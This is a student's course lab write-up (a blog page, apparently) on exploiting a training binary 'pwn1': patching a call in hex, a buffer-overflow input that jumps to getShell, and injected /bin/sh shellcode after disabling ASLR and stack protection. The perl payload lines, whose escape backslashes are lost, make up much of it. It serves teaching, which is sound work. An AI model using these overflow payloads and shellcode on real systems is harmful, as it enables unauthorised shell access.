zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp1 PC平台逆向破解

    2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp1 PC平台逆向破解

    一、实践目标

    • 本次实践的对象是一个名为pwn1的linux可执行文件
    • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串
    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell
    • 正常情况下这个代码是不会被运行的。想办法运行这个代码片段
    • 学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

    二、实践内容

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
    • 注入一个自己制作的shellcode并运行这段shellcode

    三、实验准备

    1.预备知识

    1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    • NOP:机器码0x90(NOP指令即"no operation"空操作)

    • JNE:机器码0x75(条件转移指令---"not equal",如果不相等则跳转。)

    • JE:机器码0x74(条件转移指令--"equal",如果相等则跳转。)

    • JMP:无条件跳转

      • 机器码0xEB,Jmp short---段内直接短转
      • 机器码0xE9,Jmp near---段内直接近转移
      • 机器码0xFF,Jmp word---段内间接转移
      • 机器码0xEA,Jmp far---段间直接(远)转移
    • CMP:机器码0x38~3D(比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。)

    1. 掌握反汇编与十六进制编程器
    • 反汇编指令:

      • objdump -d <file(s)>: 将代码段反汇编;
      • objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
      • objdump -l <file(s)>: 反汇编代码中插入文件名和行号
    • 十六进制编程器:

      • vim 以ASCII码形式显示可执行文件的内容
      • :%!xxd 切换显示模式(16进制模式、ASCII码模式)
    1. gdb调试的常用命令
    • break(b):设置断点
    • run(r):运行程序
    • clear:清除断点
    • info:显示断点信息
    • attach:继续执行程序

    2.文件准备

    • 下载实验文件pwn1,将其通过共享文件夹传入虚拟机,即kali中,可以直接通过图形界面,将其转到/home中自己创建的文件夹下,或者通过终端输入命令,cp过来也行

    • 根据实验要求,将文件重命名

    • 把文件进行备份

    3.环境准备

    1. 实验中需要进行 gdb 调试,所以如果没有安装 gdb,则会提示没有 gdb 这个命令,需要安装gdb,在root下依次输入 apt-get update 、apt-get install gdb ,然后进行确定输入y,即可

    2. 实验还需要用到 execstack,没有安装就需要下载,我是用 apt-get install prelink 下载的(在root下),apt-get install execstack,我看见其他人这样下载安装的也可以

    四、实验步骤

    任务一:手工修改可执行文件,改变程序执行流程

    • 在文件所在文件夹下,输入指令objdump -d 20175218pwn1 | more 对 20175218pwn1 文件进行反汇编

    • 对反汇编的结果进行分析

      • 起始位置:

        • 主函数为:0x080484af
        • foo函数为0x08048491
        • getshell代码段为:0x0804847d
      • 主函数中调用函数的指令call 8048491 后的地址为:0x080484ba,可见此地址与foo函数的起始地址差0x080484ba - 0x08048491 = 0xffffffd7与该指令对应机器码e8 d7 ff ff ff对应

      • 因此,要让程序执行到getShell只需更改call指令的机器码为相应地址的差,地址差为0x080484ba - 0x0804847d = 0xffffffc3

    • 修改机器指令

    • 输入指令 vi 20175218pwn1 打开文件

    • 输入指令 :%!xxd 将文件转换为16进制查看

    • 按回车往下找,找到 d7ffffff 位置

    • 输入 i 进入插入模式,将 d7 修改为 c3 ,然后输入指令 :%!xxd -r 将文件转化为ASCII码形式,最后再 wq 保存并退出

    • 输入指令 objdump -d 20175218pwn1 | more 再次进行反编译,此时可见 20175218pwn1 文件被修改了

    • 运行之前备份的 20175218pwn1.bak 文件和 20175218pwn1 文件看两者的运行模式

    任务二:利用foo函数的Bof漏洞,覆盖返回地址,触发getShell函数

    • 先将 20175218pwn1 文件通过备用文件还原,输入指令 cp 20175218pwn1.bak 20175218pwn1

    • 通过反汇编指令观察foo函数为其输入留了多少空间

    • 通过图示可以计算实现缓冲区溢出的字符数为28+4=32 个字节,因此需要将getShell函数的地址放在返回地址即需要33~36字节

    • 接下来,需要确定输入什么样的字符能进行攻击,先输入指令 gdb 20175218pwn1 进行gdb调试

    • 在输入时特意输入36字节长度的字符(猜想),同时用 info r 指令查看寄存器的状态。在得到Segmentation fault后,通过对比 eip 寄存器和输入的字符就可以知道我们需要在何处对输入字符替换(验证)

    • 输入从老师视频中给出的指令 perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input ,同时可以通过xxd来验证字符串

    通过管道符 | ,输入命令(cat input; cat ) | ./20175218pwn1 将构造的输入注入并运行,查看结果

    任务三:注入一个shellcode并运行

    • 先将 20175218pwn1 文件通过备用文件还原,输入指令 cp 20175218pwn1.bak 20175218pwn1

    • linux下有两种构造方法,一种针对缓冲区小的情况,一种针对缓冲区大的情况,具体构造方法都可以从老师提供的视频中了解到。这里我们采用的是针对缓冲区小的情况。对文件 20175218pwn1 进行以下操作:

    • 设置设置堆栈可执行

      • execstack -s 20175218pwn1 设置堆栈可执行
      • execstack -q 20175218pwn1 查询文件的堆栈是否可执行,结果为X表示可执行
    • 关闭地址随机化(在root下进行操作)

      • more /proc/sys/kernel/randomize_va_space 查看随机化是否关闭
      • echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化
      • more /proc/sys/kernel/randomize_va_space 再次查看,结果为0证明已关闭

    • 参考老师给出的代码,需要先构造一个input_shellcode,并且在此终端(终端1)通过指令 (cat input_shellcode;cat) | ./20175218pwn1 运行20175218pwn1
    perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    • 另开一个终端(终端2),在文件所在文件夹下输入指令 ps -ef | grep 20175218pwn1 查看 20175218pwn1 的进程号

    • 在终端2输入指令 gdb 启用gdb调试,输入指令 attach + 20175218pwn1 的进程号来定位 20175218pwn1 的进程。输入 disassemble foo 进行反编译,可以看到 ret 指令的地址为 0x080484ae,在此处设置断点, 输入 break *0x080484ae。然后在终端1中按下回车运行,程序执行到断点停止,再在b终端输入c继续运行程序

    • 在终端2输入指令 info r esp 查看 esp 寄存器地址。输入 x/16x + esp 寄存器地址以16进制形式查看 esp 寄存器地址即 0xffffd32c 地址后面16字节的内容。可以观察到 0x01020304 的地址为0xffffd32c,因此 shellcode 注入位置地址为 0xffffd32c+0x00000004=0xffffd330

    • 输入修改注入代码的地址
    perl -e 'print "A" x 32;print"x30xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    
    • 输入指令(cat input_shellcode;cat) | ./20175218pwn1 运行发现 shellcode 注入成功

    五、实践思考

    问题一:什么是漏洞?

    答:百度百科说的是漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。但在我的想法中,漏洞就是设备中存在的缺陷,攻击者可以利用它来破坏存在漏洞的设备,从而达到自己的目的。一般对于我最容易想到的就是电脑,有时候如果你安装了杀毒软件,存在漏洞就会提醒你打补丁。

    问题二:漏洞有什么危害?

    答:在我看来,以电脑为例来说,电脑存在漏洞,如果攻击者对你的电脑不感兴趣,就是不攻击你的电脑的话,其实也没什么危害。但是如果被攻击者攻击的话,他们可以利用你电脑的漏洞,很容易就能攻击到你的电脑,包括利用你的电脑发起dos攻击,或者破坏你的电脑系统,或者窃取你的信息等等一系列危害。

    六、实验收获与感想

    这次实验,总的来说不是很困难,但是我花的时间还是比较长的。首先,因为之前用过Linux系统,对这方面的知识比较熟悉,但是还是去学习了一遍Linux的知识。然后,这次实验先是看了老师的视频,然后自己尝试去做,中途也碰到一些问题,包括指令错误,指令输错等等,但是基本碰到的都是小问题,做得还是比较顺利,因为害怕中途做错,所以每一步做得比较小心,这样加起来,这个实验总共花的时间算是比较长了。然后就是对于这个实验,主要就是一些指令和寄存器、缓冲区、堆栈方面的知识,通过这个实验,也让我对于缓冲区和堆栈这方面的知识更加了解,也知道了一些汇编指令的机器码,熟悉了一些Linux下的指令,总的来说,收获还是挺多的。

    七、参考资料

  • 相关阅读:
    G. Reducing Delivery Cost 思维+最短路
    Bounding Wall 线段树 + 思维 ccpc 2020 秦皇岛 B
    Java代理模式
    Java开发 使用反射判断一个类的是否继承指定接口类
    Java开发 AES加解密工具类——兼容Android9.0
    Java byte转换工具类
    注册LiveData或者MutableLiveData的观察者导致的内存泄露问题
    Android开发 NavOptions记录
    关于MySQL的命名规范
    Locust学习笔记(5)
  • 原文地址:https://www.cnblogs.com/cjy-123/p/12449000.html
Copyright © 2011-2022 走看看